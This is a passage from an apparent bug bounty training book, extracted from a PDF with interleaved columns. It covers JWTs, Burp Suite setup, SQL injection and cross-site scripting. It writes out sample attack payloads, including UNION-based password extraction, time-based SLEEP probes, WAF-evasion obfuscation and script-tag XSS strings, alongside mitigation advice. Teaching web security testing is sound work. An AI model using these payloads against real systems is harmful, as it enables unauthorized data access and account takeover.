Cookies are used by most websites to transmit session data to the system.
in HTTP requests. Web servers send small data files known as • Validation: The system verifies the validity of the token
HTTP cookies to your browser. The server establishes a session (making sure it has not expired or been tampered with)
for you when you connect, and sends the session ID as a cookie and grants you access.
to your browser. Your browser saves cookies and uses them for
each request you make to the same server.

28 MILLIONAIRE RECORDS
 JSON Web Tokens

An open industry standard called JSON Web Token is used

to transfer data between two entities, typically a client (such as Learn to program
the front end of your application) and a server (the back end of
your app). Now that you have a solid foundation, you should be able
to understand most of the vulnerabilities we are going to dis-
They include JSON objects with the shared data inside them. cuss. I advise you to learn programming before setting up your
In order to prevent the client or a hostile third party from chan- hacking tools. Programming knowledge is beneficial since finding
ging the JSON content, sometimes referred to as JWT claims, flaws requires a lot of repetitive work. By learning a language
each JWT is also signed using cryptography (hashing). like Python or Shell Scripting, you can automate these procedu-
res and save a ton of time.
For example, Facebook produces a JWT with the following
claims and loads JSON when connecting to them. Most websites are built in JavaScript, so you should learn
to read it as well. Examining a website's JavaScript can give you
{ quick access to its functionality and help you identify bugs.
"iss": "https://login.facebook.com",
"azp": "34234123.apps.facebook.com"
}

e yJ h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k pX V C J 9 . e yJ -
zdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ikp-
vaG 4 gRG 9 lIi w i aW F 0 Ij oxN T E 2 MjM 5 M D Iy f Q.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

JSON web tokens provide a secure means of user iden-

tification when used correctly. Upon receipt of the token, the
server can confirm that it has not been tampered with by exa-
mining the accuracy of the signature. The information in the
payload portion can be used by the server to determine who
the user is. In addition, the user cannot change the payload and
sign the token himself because he does not possess the secret
key necessary to do so.

However, there are ways an attacker can bypass the security

process and forge random tokens if done incorrectly.

bug bounty ' s F undamentals 29

1. 2 - SETU P # 1. 2
It is one of the most important points to set up a good setup Burp Suite can be used to intercept and modify HTTP/
before you start your hacking career, you will save a lot of time HTTPS requests.
and headache. I will guide you through setting up your hacking
environment step by step in this chapter. The browser will be used to examine the functionality of
an application. Firefox is the easiest to set up with a proxy, so I
Selection of an operating system suggest you use it. When hacking, you can also use two sepa-
rate browsers: one to scan the target and one to look for online
To use Burp Suite, a web proxy that allows you to view and security holes. This way, you can quickly separate traffic related
modify HTTP requests and responses transmitted between your to your intended application for further analysis.
browser and web servers, you must configure your browser to
work with it. You'll discover how to use Burp's functionality to Software that acts as an intermediary between a client and
send repetitive and automated requests, decode encrypted con- a server is known as a proxy; in this case, the intermediary is your
tent, and compare queries. I'll also discuss how to write effec- browser and the web servers it communicates with. It does this
tive bug bounty notes. by intercepting both your requests and the server's responses
before sending them to you. For example:
I apologize in advance for upsetting some people, but
please read on so I can explain what I mean. Using Microsoft Browser <--------------> Proxy <--------------> Server
Windows or macOS as your "daily driver" is perfectly accepta-
ble. Numerous accomplished bug hunters use these proprie- It is imperative to use a proxy for bug bounty hunting. As I
tary operating systems, as evidenced by their publicly available will describe later in this chapter, proxies allow you to view and
lectures and YouTube videos. But many of the same people also modify the requests that are sent to the server and the responses
use cloud-based Linux-based virtual private servers (VPS) for that arrive at your browser. In the absence of a proxy, communi-
reconnaissance and web request proxies. cation between the browser and the server would occur auto-
matically and in secret; all that would be visible to you would be
Since many open source hacking tools are designed for the finished web page. Alternatively, all messages would be inter-
Unix-based computers, such as Kali Linux or macOS, I advise cepted by a proxy before they reach their intended destination.
you to use one of them. Kali Linux is a Linux variant aimed at
hacking and digital forensics. It has a ton of useful bug bounty Because of this, you can perform recon using proxies by
tools, including fuzzers like Wfuzz, recon tools like DirBuster and examining and analyzing traffic entering and leaving the server.
Gobuster, and Burp Suite. Kali Linux is available for download They also allow you to investigate intriguing requests to find
at https://www.kali.org/downloads/. any security holes and manipulate requests to exploit these
weaknesses.
If you are not able to use these alternatives, you are wel-
come to hack other operating systems. Just be aware that you
may need to acquire the use of tools other than those listed in
this book.

Installing a browser and proxy: The basics

Bug bounty hunters use Burp Suite, a powerful tool, exten-

sively to discover vulnerabilities in web applications. It is a group
of technologies that combine to make the process of testing web
applications for security flaws more efficient and automated. I
will go over several tricks and strategies for using Burp Suite for
bug bounty hunting in this book.

30 MILLIONAIRE RECORDS
 Let's take an example where you browse your email inbox
and use a proxy to intercept the request that returns your email.
This is a GET request directed to a URL containing your user
ID. It also notes that the request contains a cookie containing Configure Firefox
your user ID:
Burp's built-in browser provides an easy method to start
your bug search with little configuration. On the other hand, Burp
can be configured to work with your browser if, like me, you prefer
to try a familiar one. Let's configure Burp to work with Firefox.

Installing a proxy and downloading your browser are the

first steps. Downloads for the Burp Suite and Firefox browser
are available at https://portswigger.net/burp/ and https://www.
mozilla.org/firefox/new/, respectively.

One of the two versions of Burp Suite is used by bug bounty

hunters: Professional or Community. Burp Suite Community is
To determine if you can access another user's information available for free, however, Burp Suites Professional requires a
in this situation, try changing the USER_ID in the URL to that license. A vulnerability scanner and other handy features, such
of the other user. The server will probably accept the request as the ability to save a job, are included in Burp Suite Pro.
and give you access to the object or it may send a direct 403
error, indicating that you cannot read that type of information. A vulnerability scanner and other handy features, such as
the ability to save and continue a work session at a later time,
Launching the Browser Embedded are included in Burp Suite Pro. In addition, it provides the Burp
Invader in its entirety, whereas the community version only has
Burp Suite both provide built-in browsers. You can skip a condensed version. I'm going to talk about how to use the
the next two steps if you decide to try these built-in browsers. community version of this book to find bugs.
After launching Burp, select the Open Browser option on
the Proxy tab to use Burp Suite's built-in browser. Without any Now you need to configure your browser to use its proxy
further configuration, Burp will automatically route all traffic to redirect traffic. You can configure Firefox to work with Burp
from this built-in browser. Suite by following the instructions in this section. Refer to the
official documentation for the other browser/proxy combination
you are using for tutorials.

Open Firefox. Then, select Preferences > General Network

Settings to display the Connections Settings page. The Preferences
tab is available through the menu in the upper right corner of
Firefox.

bug bounty ' s F undamentals 31

 The Connection Settings page should look similar to the
one shown in the figure.

For each protocol type, choose Manual proxy settings and

enter 127.0.0.1 as the IP address and 8080 as the port. This
will instruct Firefox to route all its traffic through the machine's
port 8080 service. The IP address of the localhost is 127.0.0.1.
It recognizes the system you are now using, allowing you to use
it to access the network services that are available on it.

Burp works by default on port 8080, so this setting instructs

Firefox to send all traffic through Burp. To complete the setting,
click OK. All traffic will now be redirected through Burp by Firefox.

This process can be automated by means of a Firefox exten-

sion called FoxyProxy. You can find it at https://addons.mozilla.
org/en-US/firefox/addon/foxyproxy-basic. It is very simple,
you configure the IP as you did in Firefox, but instead of doing
it in the browser, as indicated in the previous steps, you do it
in the extension directly. In addition, it allows you to enable or
disable the proxy with a click. Maybe now you think it's an uni-
mportant extension. I am sure that in the future you will thank
The Preferences option is located in the upper right cor- me for recommending it.
ner of Firefox.

32 MILLIONAIRE RECORDS
 Getting things ready for Burp

Open Burp Suite after downloading it, select Next, and then
click Start Burp. There should be a window like this.

Select the Trust this CA to identify websites option in the

Firefox dialog.

Restart Firefox. You should now be ready to intercept tra-

ffic over HTTP and HTTPS.

Let's perform a test to make sure Burp is working properly.

Navigate to the Proxy tab in Burp and select Intercept is off to
enable traffic interception. At this point, the button should say
Intercept is on. This indicates that you are intercepting Firefox
Now let's configure Burp to work with HTTPS traffic. By or embedded browser traffic.
encrypting your traffic and limiting access to it to only the two
parties involved in a communication, your browser and the ser- Open Firefox after that, and navigate to https://www.goo-
ver, HTTPS protects the privacy of your data. This means that gle.com. You should notice that individual requests start appea-
HTTPS traffic entering and leaving your browser cannot be ring in the main Burp proxy window.
intercepted by your Burp proxy. Installing the certificate autho-
rity (CA) certificate for your Burp proxy will tell Firefox that it is The Forward Burp Proxy button forwards the active request
a trusted entity, which will solve this problem. to the specified server. When the request with the hostname
www.google.com appears, click Forward. Burp is successfully
Now that Firefox has the Burp certificate installed, it can intercepting Firefox traffic if it sees this request. This should
work with HTTPS traffic. Open your browser and navigate to get you started.
http://burp/ with Burp open and running and your proxy set-
tings set to 127.0.0.1:8080. ------------------------------------
GET / HTTP/1.1
Host: www.google.com
------------------------------------

To transmit the request to the Google server, click Forward.

The Google home page should open in a Firefox window for you.
Next, select Preferences > Privacy and Security > Certificates
in Firefox. In the event that the requests are not displayed in the Burp
window, it is possible that the Burp CA certificate has not been
See Authorities and Certificates. After selecting the file you installed correctly. To reinstall the certificate, follow the instruc-
just saved with Import, click Open. To rely on the certificate to tions in this chapter. Also, confirm that the proxy settings in the
identify websites, according to the instructions in the dialog. Firefox Connection Settings are set correctly to 127.0.0.1:8080.

bug bounty ' s F undamentals 33

 Using Burp www.google.com. Click Forward until you see the request with
the hostname www.google.com, just as you did in the previous
The web proxy is not the only useful feature in Burp Suite. section. This type of request should be visible to you:
A repeater to modify specific requests, a decoder to decode
encrypted content, an intruder to automate attacks, and a com-
parison tool to compare requests and responses are also inclu-
ded in Burp Suite. We will discuss these here because they are
the most useful features of Burp for bug bounty.

Proxy

Let's see how to inspect, edit and forward requests to other

Burp modules using the Burp proxy. Explore Burp's capabilities
by opening it, selecting the Proxy tab and getting started! Make
sure the Intercept button is read to start intercepting traffic. The
interceptor is active.

By right-clicking on the request or response, you can send

it to several Burp modules.

The Repeater

When using the built-in Firefox browser or Burp to access Most likely the tool you will use the most is the repeater.
a website, an HTTP/HTTPS request should appear in the main It allows you to change requests and thoroughly review server
window. Every request your browser makes while interception responses. It can also be used to save intriguing requests for
is enabled will pass through Burp before being sent to the server later review.
unless you choose to click Forward in the proxy window. This is
your opportunity to change the request before sending it to the While you can change requests with the repeater and the
server or transmitting it to other Burp modules. invader, their functions are completely different. By automatically
delivering requests that have been mechanically modified, the
To search for strings in the requests or responses, you can hacker automates attacks. The repeater is designed for manual,
also use the search box at the bottom of the window. in-depth changes to a single request.

Let's experiment using Burp Proxy to intercept and mani- By right-clicking on the request and choosing "Send to
pulate traffic! Repeater", you can send requests to the repeater, the requests
are displayed on the left side of the repeater screen. Here, you
Enable traffic interception by going to Burp Proxy. Next, can edit a request and click the Send button at the top to send
launch the built-in Firefox or Burp browser and go to https:// the request.

34 MILLIONAIRE RECORDS
 in parameters affects the response you receive from the server.
To send data to the comparator, select Send to Comparator
from the context menu when right-clicking on a highlighted sec-
tion of text in any request or response.

The Decoder

The data found in the requests and responses can be easily

encoded and decoded using the Burp decoder (Figure 4-15). I
use it primarily to encode, decode, and manipulate application The comparison tool will indicate the variations between
data before sending it to applications. two text blocks.

Save Burp requests

In Burp, you can also save requests and responses. To save

these results to your notes folder for that destination, simply righ-
t-click on each request and select the URL of the request that
can be copied using the Copy URL option. The entire request,
including the method, URL, headers and body, is copied as a curl
command when using Copy as command. The request is saved
as a separate file when copied to one.
To send data to the decoder, select Send to decoder from
the context menu when right-clicking on a highlighted section
of text in any request or response. To choose the algorithm
to be used to encode or decode the message, use the drop-
-down options on the right. Use smart decoding to determine
the encryption algorithm for the message if you are unsure. Burp
will attempt to recognize the encryption and adjust the message
decoding accordingly.

The Comparer
One method of comparing requests or responses is with the
comparator. It draws attention to variations between two blocks
of text. For example, you can use it to investigate how a change

bug bounty ' s F undamentals 35

 Concluding notes

A brief note of caution before we start looking for vulnerabi-

lities in the next chapter: being well organized is essential for suc-
cessful bug bounties. The amount of information acquired from
targets can grow and become difficult to manage when working
on targets with large scopes or hacking multiple targets at once.

You will not always be able to identify bugs right away.

Rather, you will notice a lot of oddities and misconfigurations
that are not exploitable at the moment, but which you can later
combine with other actions to launch an attack. To ensure that
you can promptly use all the new features, misconfigurations,
small flaws and suspicious endpoints you observe, you will need
to make detailed notes about them.

Also, note the help in planning attacks. You have the ability
to monitor the progress of your hacking, as well as the features
you have tested and those you still need to verify. By doing so,
you can avoid wasting time repeatedly testing the same features.

Making notes on vulnerabilities you discover is another use-

ful use of them. Keep track of the specifics of any vulnerability,
including its theoretical underpinnings, possible consequences,
exploitation methods, and proof-of-concept code. This will hone
your technical skills over time and create a technical bank that
you can refer to when needed.

One of my main strategies now and since I started, is not

to focus on looking for critical vulnerabilities. There are many
hackers who always aim to find the highest bug, but not always
that bug comes and it is much more difficult than it seems to one.
That's why my strategy is quantity over quality, I know the phrase
is backwards but it works for me and you bought my mentorian
to give you all my knowledge and not to give you false ideas.

My daily session is in the afternoon; I go searching for a cou-

ple of hours with the goal of finding 1-3 bugs per day. Imagine
that for each bug you get paid $500 or $1,000 only, it's a fortune
to earn that kind of money per day and it seems to me a serious
thing to follow the theory that finding low/medium impact bugs
can make you a real millionaire.

36 MILLIONAIRE RECORDS
bug bounty ' s F undamentals 37
 C H A P T E R T W O

WEB VULNERABI-
LITIES
2
2 . 1 - SQ L I NJE C T I O N
#2.1 responses.
• Boolean conditions such as OR 1=1 and OR 1 =2, and
look for variations in the responses given by the appli-
SQL Injection (SQLi): What is it? cation.Loads that, when triggered within a SQL query,
are intended to cause time delays and look for varia-
An online security flaw known as SQL injection (SQLi) allows tions in response times.
an attacker to manipulate queries that an application sends to its • OAST utility loads that, when used in an SQL query,
database. An attacker might be able to see data that they would are intended to cause out-of-band network interaction.
not normally be able to access because of this. This could include
other data that the program has access to or data that is owned SQL injection occurring in several query sections
by other users. This data can often be altered or deleted by an
attacker, changing the behavior or content of the program in a Most SQL injection problems occur in the WHERE clause
way that is persistent. of a SELECT query. Most experienced testers are familiar with
this type of SQL injection.
A SQL injection attack can occasionally be escalated by an
attacker in order to compromise the underlying server or other SQL injection vulnerabilities, however, can appear anywhere
back-end infrastructure. They may also be able to carry out in the query and in a variety of query formats. Other typical pla-
denial-of-service attacks because of it. ces where SQL injection occurs include:

What is the impact of a successful SQL injection attack? • Within the WHERE clause or the values changed in
UPDATE statements.
A successful SQL injection attack can result in unauthori- • Within the values inserted in INSERT statements.
zed access to sensitive data, such as: • Within the table or column name in SELECT statements.
• Within the ORDER BY clause of SELECT queries.
• Passwords.
• Credit card details. SQL injection examples
• User's personal information.
There are numerous SQL injection techniques, attacks and
SQL injection attacks have been used in many high-pro- vulnerabilities, and they arise in a variety of contexts. Typical
file data breaches over the years. They have caused reputatio- instances of SQL injection include:
nal damage and regulatory fines. In some cases, an attacker can
gain a persistent backdoor into an organization's systems, lea- • Find hidden information, where you can change a
ding to a long-term compromise that can go undetected for an SQL query to get more information.
extended period. • Changing a query to hinder the application logic is
known as subverting the application logic.
How to find vulnerabilities related to SQL injection • UNION attacks, which allow you to obtain informa-
tion from several database tables.
By performing a methodical set of tests against each appli- • Blind SQL injection occurs when an application res-
cation entry point, you can manually identify SQL injection. ponds without returning the answers to a query it con-
Normally, to accomplish this, you would submit: trols. Get hidden data

• The character of the solitary quotation "and look for Consider a shopping application that lists items according to
errors or other irregularities." different categories. The user's browser prompts for the following
• A certain specific SQL syntax evaluates both the base URL when clicking on the Gifts category: https://insecure-web-
(original) value of the entry point and a new value, site.com/products?category=Gifts
and looks for consistent variations in the application's

40 MILLIONAIRE RECORDS
 This causes the program to make an SQL query to get infor- used to obtain unauthorized data, this generally requires more
mation about the relevant products from the database: advanced and difficult procedures.
SELECT * FROM goods WHERE released = 1 AND category
= "Gifts". Depending on the characteristics of the vulnerability and
the database in question, blind SQL injection vulnerabilities can
With this SQL query, the database is asked to provide: be exploited using the following methods:

• All information (*) from the product table, where the • By changing the query logic, you can make the appli-
released number is 1 and the category is gifts. cation's response noticeably different depending on
whether a single condition is true or not. This could
• Products that are not released are hidden by the release be adding a new condition to a Boolean logic or gene-
constraint = 1. For unannounced goods, we can pre- rating an error conditionally, such as a divide by zero.
sume that it is released = 0.
• It is possible to conditionally initiate a time delay in
The application does not implement any defense against query processing. This allows you to infer the actual
SQL injection attacks. This means that an attacker can construct status of the condition based on the time it takes for
the following attack, for example: the application to respond.

https://insecure-website.com/products?category=Gifts' Using OAST techniques, you can initiate an out-of-band

network interaction. This method is quite effective and can be
-- This results in the SQL query: used in circumstances where the other methods cannot. Data
can often be exfiltrated directly using the out-of-band channel.
SELECT * FROM products WHERE category = 'Gifts'--' You can use the information, for example, in a DNS lookup for
AND released = 1 a domain you own.

• Crucially, note that -- is a comment indicator in SQL. Searching for blind SQL injections.
This means that the rest of the query is interpreted as
a comment and removed. In this example, this means Blind SQL injections, also known as inferential SQL injec-
that the query no longer includes AND released = 1. tions, are a bit more difficult to find and use. They occur when
an application produces no useful SQL data or error messages,
• As a result, all products are displayed, including those making it impossible for attackers to retrieve information directly
that have not yet been released. You can use a similar from the database.
attack to make the application display all products in
any category, including categories you do not know In this case, by delivering SQL injection payload to the ser-
about: ver and monitoring its subsequent actions, attackers can deduce
information. Additionally, there are two varieties of blind SQL
h t t p s : // i n s e c u r e - w e b s i t e . c o m / injections: time-based and Boolean.
products?category=Gifts'+OR+1=1--
Boolean-based SQL injection is the process by which oppo-
Blind SQL injection-related vulnerabilities nents insert test conditions into a SQL query that would give a
true or false result, hence the deduction of the database struc-
Blind vulnerabilities represent a large number of SQL injec- ture. Attackers could gradually deduce the contents of the data-
tion cases. This indicates that neither the output of the SQL query base using those answers.
nor the details of database failures are returned by the applica-
tion in its responses. Although blind vulnerabilities can still be Let's take an example where example.com tracks its premium

web vulnerabilities 41
subscribers on the platform using a different table. is returned by SUBSTR(Password, 1, 1) 1. Because user 2 is not a
premium member, the second SELECT statement, which returns
In addition to having access to enhanced features, premium results if the administrator account password begins with a, will
users' home pages have a banner that says "Welcome, premium determine whether or not this query provides data. For example,
member!" By using a cookie containing the user's ID and com- if you send this user ID as a cookie, the web application will dis-
paring it to a list of registered premium members, the website play the premium banner if the admin account password starts
establishes who is premium. This is what the GET request may with an a. This indicates that you can brute force the adminis-
look like with such a cookie. trator password. Until it works, you can try this query with the
letters b, c, and so on.
--------------
GET / This method can be used to retrieve important information
Host: example.com from the database, including the Database version, table names,
Cookie: vulnerable_id=1 column names and credentials. I introduce more details about
-------------- this on page 201 of "Escalating the Attack".

This request is used by the program to generate the SQL Similar techniques are used in time-based SQL injections,
query that follows: where the attacker relies on the difference in response time
caused by various SQL injection workloads rather than a visual
SELECT * FROM PremiumUsers WHERE Id='1'; cue on the online site. What might happen, for example, if the
injection point in the example above does not produce visual
The user is a premium member if this query yields results, cues about the query result? Let's assume that premium mem-
in which case the banner "Welcome, Premium Member!" will bers do not receive a unique banner and that their user interfa-
appear. The banner will not appear if it does not. Suppose you ces are the same. So how can this SQL injection be leveraged?
have a non-premium account. If you were to submit this user ID
instead, what would happen?
Using SQL Injection Automatically
--------------
2' UNION SELECT Id FROM Users Manual SQL injection verification is not scalable. To auto-
WHERE Username = 'admin' mate each step of the approach described in this chapter, from
and SUBSTR(Password, 1, 1) ='a';- SQL injection identification to exploitation, I suggest employing
-------------- tools. For example, a Python application called sqlmap (http://
Therefore, the query would be as follows: sqlmap.org/) simplifies the process of finding and exploiting the
203 SQL injection vulnerabilities. Although this book cannot
-------------- cover a complete instruction on sqlmap, its documentation can
SELECT * FROM PremiumUsers WHERE Id='1' be accessed at https://github.com/sqlmapproject/squlmap/wiki/.
UNION SELECT Id FROM Users
WHERE Username = 'admin' Make sure you understand each sqlmap approach before
and 1SUBSTR(Password, 1, 1) = 'a';-- automating your attacks so that you can maximize your attack
-------------- efficiency. This chapter covers most of its techniques. Sqlmap
is a tool that can be used independently or integrated with the
The SUBSTR(STRING, POSITION, LENGTH) function takes test proxy.
a substring of a given LENGTH and POSITION within a string
and extracts it. You make use of. For example, by installing the SQLiPy Burp
plug-in, you can incorporate sqlmap into Burp.
Consequently, the initial character of each user's password

42 MILLIONAIRE RECORDS
 How to locate your first injection

SQL Investigate SQL injection vulnerabilities in practice

applications or bug bounty programs. It is interesting to iden-
tify and exploit these vulnerabilities. If you wish, you can try
to attack a deliberately vulnerable application, such as Damn
Vulnerable Web Application, as SQL injections can sometimes
be difficult to exploit. It is available at http://www.dvwa.co.uk.
Then, to start identifying real SQL injection vulnerabilities in the
field, adhere to this roadmap:

1. Any endpoint in the application that receives user input

must be mapped.
2. To find out if these locations are susceptible to SQL
injections, insert test loads into them. Try using infe-
rential approaches instead of traditional SQL injections
if the endpoint is not susceptible to them.
3. After verifying that the endpoint is susceptible to SQL
injections, employ several SQL injection queries to
expose the database data.
4. Take the question further. Determine what informa-
tion can be obtained from the endpoint and whether
it is possible to bypass authentication. Be careful not
to perform any operations that could compromise the
integrity of the target database, such as deleting user
information or changing the Database structure.

web vulnerabilities 43
 users--
Bypass protection • URL-encoded payload: %27%20UNION%20
SELECT%20password%20FROM%20users--
As SQL injection vulnerabilities have become more widely
known, developers and system administrators have imple- 3. Time Based Attacks
mented various protective measures to mitigate this risk.
However, persistent attackers have developed techniques Objective: To extract information from the database
to evade these protections and continue to exploit SQL through the server response time.
injection vulnerabilities. This chapter explores the tactics Techniques:
and strategies used to circumvent SQL injection defenses. • Time-based blind SQL injection: Use functions
such as SLEEP or BENCHMARK to delay the server
1. Input Filter Evasion response if a specific condition is met.
• Measuring response time: Measure the time it
Objective: To introduce malicious payloads despite input takes for the server to respond to deduce whether the
filters designed to block them. condition is met or not.
Techniques: Example:
• Keyword obfuscation: Use comments, whitespace, • ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5),
special characters or encoding to hide keywords such 1)-- (Delay 5 seconds if the first character of the pas-
as SELECT, UNION, DROP, etc. sword is 'a'.)
• Use of synonyms and alternative functions: Replace
keywords with synonyms or equivalent functions (e.g., 4. Second Order Attacks
|| instead of CONCAT).
• Multi-stage injection: Split the payload into mul- Objective: Exploit SQL injection vulnerabilities that mani-
tiple parts and combine them on the server. fest themselves at a later stage, after the malicious data has
• Example: been stored in the database.
1. Original payload: ' UNION SELECT password Techniques:
FROM users-- • Storing malicious payloads: Entering payloads in
2. Obfuscated payload: '/**/UnIoN/**/SeLeCt/**/ fields that are stored in the database.
password/**/FrOm/**/users-- • Activate payloads at a later stage: Retrieve data
stored in a vulnerable context to execute the payload.
2. WAF (Web Application Firewall) Evasion
Advanced SQL Injection Defenses
Objective: To circumvent the detection rules of a WAF
to prevent it from blocking malicious requests. • Prepared Statements: Parameterize SQL queries to
Techniques: prevent user-supplied data from being interpreted
• Payload obfuscation: Use techniques similar to those as code.
used to bypass inbound filters. • Stored Procedures: Limit the operations that a user
• Fragmentation of payloads: Split the payload into can perform on the database.
multiple requests to prevent the WAF from detecting • Whitelisting: Allow only specific and valid input values.
it in its entirety. • Escaping: Correctly encode special characters to pre-
• Use of encoding techniques: Encode the payload in vent them from being interpreted as code.
different formats (URL encoding, hexadecimal, base64)
to make detection more difficult.
Example:
• Original payload: ' UNION SELECT password FROM Escalating the attack

44 MILLIONAIRE RECORDS
This type of chapter generally delves into how an attacker
can exploit an initial SQL injection vulnerability to gain
greater control over a system or database. Here are some
key issues you might encounter:

Beyond Data Extraction: While SQL injection is often asso-

ciated with the extraction of sensitive data, escalation attacks
go beyond that. Attackers may attempt:

• System Command Execution: Using SQL injection to

execute commands on the underlying operating system,
which could allow them to take control of the server.
• Elevation of Privileges: Gain access to user accounts
with higher privileges within the database.
• Data Clearing: Modify or delete data in the database.

Types of Climbing:
• Second Order SQL Injection: The attacker inserts
malicious code that is executed later when a different
request is processed.
• Inference-Based SQL Injection: The attacker dedu-
ces information about the database structure through
server responses to manipulated SQL queries.
• Blind SQL Injection: The attacker does not see
the results of your SQL queries directly, but can infer
information based on the behavior of the application.

Climbing Techniques:
• Database Enumeration: Discover database names,
tables and columns.
• Identification of Functions and Stored Procedures:
Find out which functions and procedures are available
in the database and how they can be used.
• Use of Operating System Functions: Execute ope-
rating system commands through functions such as
xp_cmdshell (in SQL Server).

Mitigation:
• Query Parameterization: Use parameterized queries to
prevent user input from being interpreted as SQL code.
• Validation of Inputs: Ensure that all input is valid
• Principle of Least Privilege: Grant user accounts only
the privileges necessary to perform their tasks.

web vulnerabilities 45
2 . 2 - CRO S S - S I TE
SC R I P T I N G ( X S S ) # 2.2
Cross-site scripting (XSS) is one of the most common and
potentially damaging vulnerabilities found in web applications.
In this chapter, I will explain what XSS is, how it works, and
share some real-world examples that illustrate its impact. I will Real-world examples
also share how I, Santiago Lopez, excelled at finding these bugs
throughout my career. Let's look at some real-world examples of XSS vulnerabi-
lities to understand how they work and the potential damage
they can cause.
Understanding cross-site scripting (XSS)

Cross-site scripting occurs when an attacker is able to inject Example 1: XSS stored in a comment field
malicious scripts into the content of trusted websites. XSS vul-
nerabilities can lead to unauthorized actions being performed Imagine a blogging platform where users can leave com-
in the context of another user's session, data theft or the spread ments on posts. An attacker could post a comment like this:
of malware.
--------------------
<script>alert('XSS');</script>
There are three main types of XSS: --------------------

• XSS stored: The malicious script is stored on the target If the platform does not properly sanitize the input, this
server, such as in a database, comment field or mes- script will be stored in the database and will be displayed on
sage board. When a user requests the stored informa- the page every time a user views the comments section. When
tion, the script is delivered as part of the response and executed, an "XSS" alert box will be displayed.
executed by the user's browser.
• Reflected XSS: The malicious script is reflected outside
of a web server, such as in an error message, search Example 2: XSS reflected in a search function
result, or any other response that includes data sent
to the server as part of the request. The script is then Consider a web application with a search feature that dis-
executed by the user's browser. plays the search query back to the user. An attacker could create
• DOM-based XSS: The vulnerability exists in the clien- a URL like this:
t-side code and not on the server side. The script is
executed as a result of modifying the Document Object --------------------
Model (DOM) of the web page. http://example.com/search?q=< script>alert('XSS');</script>
--------------------

If the application reflects the search term without proper

coding, the script will be executed by the browser, displaying
an "XSS" alert box.

46 MILLIONAIRE RECORDS
 Example 3: DOM-based XSS in client-side JavaScript XSS vulnerability prevention

Suppose a website has a JavaScript function that reads a To prevent XSS vulnerabilities, web developers should:
parameter from the URL and writes it to the page:
• Sanitize input: always sanitize user input by remo-
-------------------- ving or encoding special characters that could be used
var searchParam = nueva URLSearchParams(window.loca- in scripts.
tion.search).get('q'); document.write(search Param); • Use security libraries: Use security libraries and fra-
-------------------- meworks that provide built-in protection against XSS.
• Content Security Policy (CSP): Applies a content
An attacker could use a URL like this one: security policy to restrict the sources from which scripts
can be loaded and executed.
--------------------
http://example.com/?q=< script>alert('XSS');</script> Cross-site scripting is a powerful vulnerability that can have
-------------------- serious consequences if left unchecked. By understanding how
Since the script is written directly to the page without saniti- XSS works and learning from real-world examples, you can bet-
zation, it will be executed by the browser, displaying the alert box. ter protect web applications from these attacks. Throughout my
career, finding and reporting XSS vulnerabilities has been one
My success with finding XSS bugs of my specialties, leading to significant improvements in the
security of various platforms.
Throughout my career, I have identified numerous XSS
vulnerabilities, which have been both challenging and rewar- Once the page is detected as vulnerable to XSS, the payload
ding. Finding XSS bugs requires a keen eye for detail and a deep will be displayed in the browser like this.
understanding of how web applications handle user input.

One of my most notable successes was the discovery of an

XSS vulnerability stored in a major social networking platform.
The vulnerability was located in the profile description field,
where users could enter text to describe themselves. By crafting
a carefully constructed payload, I demonstrated how an attacker
could inject malicious scripts that would execute every time
someone viewed the affected profile. This bug could have been
exploited to steal session cookies, perform actions on behalf of
other users, or spread malware.

Another significant finding was an XSS vulnerability reflec-

ted on a popular e-commerce site. The search function reflected
user input without proper coding, allowing me to inject scripts
that run in the browser of anyone who clicks on a specially cra-
fted link. This vulnerability had the potential to hijack user ses-
sions and manipulate user data.

web vulnerabilities 47
 Example:
Types of XSS
An attacker could inject a malicious script into a forum com-
1. Reflected XSS ment or blog post. This script would be stored in the database
and executed every time someone viewed the comment or post.
Reflected XSS is the most basic type of XSS. It occurs when
user-supplied data is included in the server's HTTP response 3. DOM Based XSS
without being properly validated or encrypted. The attacker tri-
cks the victim into clicking on a malicious link or submitting a DOM-based XSS is a type of XSS that occurs client-side,
manipulated form, which causes the malicious script to execute in the victim's browser. The malicious script is not sent to the
in the victim's browser. server, but is executed directly in the browser through manipu-
lation of the page's Document Object Model (DOM).
Characteristics:
Characteristics:
• The malicious script is not stored on the server.
• The attack is executed immediately after the victim • The malicious script is not sent to the server.
interacts with the link or form. • The attack is executed in the victim's browser through
• The impact is limited to the victim's current session. DOM manipulation.
• It can be more difficult to detect and prevent than
Example: other types of XSS, as it does not involve interaction
with the server.
https://example.com/search?q=<script>alert('XSS')</script>
Example:
In this example, the attacker includes a <script> tag in the
search parameter q. If the web application does not validate or https://example.com/page#<script>alert('XSS')</script>
encode this parameter, the script will be executed in the victim's
browser when he clicks on the link. In this example, the attacker includes a JavaScript snippet
in the URL hash. If the web application uses this snippet to
2. Stored XSS dynamically update the page content without proper validation
and coding, the script will be executed in the victim's browser.
Stored XSS is a more dangerous type of XSS. It occurs when
user-supplied data is stored on the server (e.g., in a database) and Comprender los diferentes tipos de XSS es fundamental
then included in HTTP responses without being properly valida- para poder identificarlos y prevenirlos. Cada tipo de XSS tiene
ted and encrypted. The malicious script is executed each time sus propias características y requiere diferentes enfoques de
a user visits the affected page, which can affect multiple users. mitigación. Al aplicar las mejores prácticas de seguridad, como la
validación y codificación de entradas, el uso de Content Security
Characteristics: Policy (CSP) y la implementación de HttpOnly cookies, puedes
proteger tu aplicación web y a tus usuarios de los ataques XSS.
• The malicious script is stored on the server.
• The attack is executed every time the affected page
is loaded in any user's browser. Search methodologies
• The impact can be much greater than the reflected
XSS, as it can affect multiple users over an extended We will explore the techniques and tools used by security
period. researchers to discover these vulnerabilities in web applications.

48 MILLIONAIRE RECORDS
 Hunting for XSS requires a methodical and systematic including XSS. It is easy to use and offers an intuitive
approach. Below is a general methodology you can follow: graphical interface.
• Nikto: A command-line web vulnerability scanner
1. Recognition: that can perform fast, automated testing. It is useful
• Gathers information about the target web application, for scanning large numbers of websites for common
such as its technology, functionalities and structure. vulnerabilities.
